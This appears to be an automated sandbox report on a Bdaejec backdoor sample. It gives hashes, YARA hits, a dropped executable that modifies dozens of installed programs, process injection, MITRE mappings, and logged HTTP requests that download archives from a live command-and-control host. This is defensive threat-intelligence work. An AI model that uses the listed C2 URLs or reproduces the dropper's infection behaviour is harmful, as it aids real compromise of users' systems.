bdaejec | 251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16/01/2025, 14:05 UTC

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General

Target

251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe
Size

1.1MB
MD5

0a9feac0126e029a0afae9efecb202dd
SHA1

683399e142b823b8a41f70e5bc77cf76b137117d
SHA256

251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566
SHA512

91bf0a008ebb0c4f45825bc18f264e6d2a97a756339e3db1d4fa479b5a6f2124026c53d786f31fb1e40fb300b4ad361280aefe1eab7e40b3e6fae8204a722db1
SSDEEP

12288:ZqOPajQUXXP8QvLWFx6Mo5rippDC7ee1hpls4Ey+F:ZnajQEPnvg6PhWDC750F

Score

10^/10

bdaejec aspackv2 backdoor discovery

Malware Config

Extracted

Family

bdaejec

ddos.dnsnb8.net

Signatures

Bdaejec
Bdaejec is a backdoor written in C++.
backdoor bdaejec
Bdaejec family
bdaejec

Detects Bdaejec Backdoor. 1 IoCs

Bdaejec is backdoor written in C++.

resource	yara_rule
behavioral1/memory/1524-31-0x0000000000CB0000-0x0000000000CB9000-memory.dmp	family_bdaejec_backdoor

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x000c000000012281-8.dat	aspack_v212_v242

Executes dropped EXE 1 IoCs

pid	Process
1524	cLLtGx.exe

Loads dropped DLL 2 IoCs

pid	Process
2200	251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe
2200	251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\tnameserv.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javaws.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jre7\bin\unpack200.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Microsoft Games\Hearts\Hearts.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\rmic.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\keytool.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\rmiregistry.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSOSYNC.EXE	cLLtGx.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32Info.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateOnDemand.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ONENOTEM.EXE	cLLtGx.exe
File opened for modification	C:\Program Files\Windows Defender\MpCmdRun.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javap.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jdb.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstat.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\policytool.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\jp2launcher.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jre7\bin\jabswitch.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\appletviewer.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\GROOVEMN.EXE	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javaw.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jre7\bin\rmid.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Microsoft Games\Chess\Chess.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Mozilla Firefox\maintenanceservice.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\reader_sl.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\excelcnv.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\GRAPH.EXE	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jarsigner.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\IEContentService.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\WinMail.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstatd.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\jabswitch.exe	cLLtGx.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\VPREVIEW.EXE	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javaw.exe	cLLtGx.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\vlc-cache-gen.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\A3DUtility.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Google\Update\Install\{FC37790F-E395-416A-A1A1-53BC987E89B4}\chrome_installer.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ACCICONS.EXE	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSQRY32.EXE	cLLtGx.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\SETLANG.EXE	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\rmiregistry.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jmap.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateComRegisterShell64.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\notification_helper.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javah.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\wsgen.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\pack200.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\policytool.exe	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OIS.EXE	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE	cLLtGx.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	cLLtGx.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jre7\bin\rmiregistry.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Java\jre7\bin\ssvagent.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Microsoft Games\Purble Place\PurblePlace.exe	cLLtGx.exe
File opened for modification	C:\Program Files\Microsoft Office\Office14\MSOHTMED.EXE	cLLtGx.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroBroker.exe	cLLtGx.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	cLLtGx.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cLLtGx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2200	251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe
2200	251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe
2200	251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe
2200	251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2200 wrote to memory of 1524	2200	251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe	30
PID 2200 wrote to memory of 1524	2200	251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe	30
PID 2200 wrote to memory of 1524	2200	251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe	30
PID 2200 wrote to memory of 1524	2200	251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe	30
PID 1524 wrote to memory of 2848	1524	cLLtGx.exe	32
PID 1524 wrote to memory of 2848	1524	cLLtGx.exe	32
PID 1524 wrote to memory of 2848	1524	cLLtGx.exe	32
PID 1524 wrote to memory of 2848	1524	cLLtGx.exe	32

C:\Users\Admin\AppData\Local\Temp\251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe
"C:\Users\Admin\AppData\Local\Temp\251ec38c52b8c7bb12f333d54f4c7170848c30851815987c0f31cc2085e58566.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Users\Admin\AppData\Local\Temp\cLLtGx.exe
  C:\Users\Admin\AppData\Local\Temp\cLLtGx.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\23de0922.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2848

Network

DNS

ddos.dnsnb8.net

cLLtGx.exe

Remote address:

8.8.8.8:53

Request

ddos.dnsnb8.net

IN A

Response

ddos.dnsnb8.net

IN A

44.221.84.105
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

cLLtGx.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

cLLtGx.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

cLLtGx.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

cLLtGx.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

cLLtGx.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k2.rar

cLLtGx.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k2.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive

44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

cLLtGx.exe

834 B
92 B
4
2

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

cLLtGx.exe

462 B
172 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

cLLtGx.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

cLLtGx.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

cLLtGx.exe

558 B
256 B
5
6

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k2.rar

http

cLLtGx.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k2.rar

8.8.8.8:53

ddos.dnsnb8.net

dns

cLLtGx.exe

61 B
77 B
1
1

DNS Request

ddos.dnsnb8.net

DNS Response

44.221.84.105

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\23de0922.bat

Filesize
187B

MD5
497b58d16772474f7d3f60c9156b108f

SHA1
2d122f51ad571008f5dad2186b79094bc2062ab6

SHA256
1399ec8784c6795cd858e64248d01193d37ddd772c7b87f6cc13d982ae0c3ff1

SHA512
1bb30191253fb536dcceca61a32b9e54cfcb9561c0b24fda498c683d6f8ab492d22ac8c392c5fffd22d53c59a41b4dd401fe2d412d796bf1c79504df29c9c167

Download Submit
C:\Users\Admin\AppData\Local\Temp\cLLtGx.exe

Filesize
15KB

MD5
56b2c3810dba2e939a8bb9fa36d3cf96

SHA1
99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

SHA256
4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

SHA512
27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

Download Submit
memory/1524-11-0x0000000000CB0000-0x0000000000CB9000-memory.dmp

Filesize
36KB

Download
memory/1524-31-0x0000000000CB0000-0x0000000000CB9000-memory.dmp

Filesize
36KB

Download
memory/2200-1-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download
memory/2200-10-0x0000000000230000-0x0000000000239000-memory.dmp

Filesize
36KB

Download
memory/2200-9-0x0000000000230000-0x0000000000239000-memory.dmp

Filesize
36KB

Download
memory/2200-14-0x0000000000400000-0x0000000000523000-memory.dmp

Filesize
1.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Request

HTTP Request

HTTP Request

HTTP Request

HTTP Request

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

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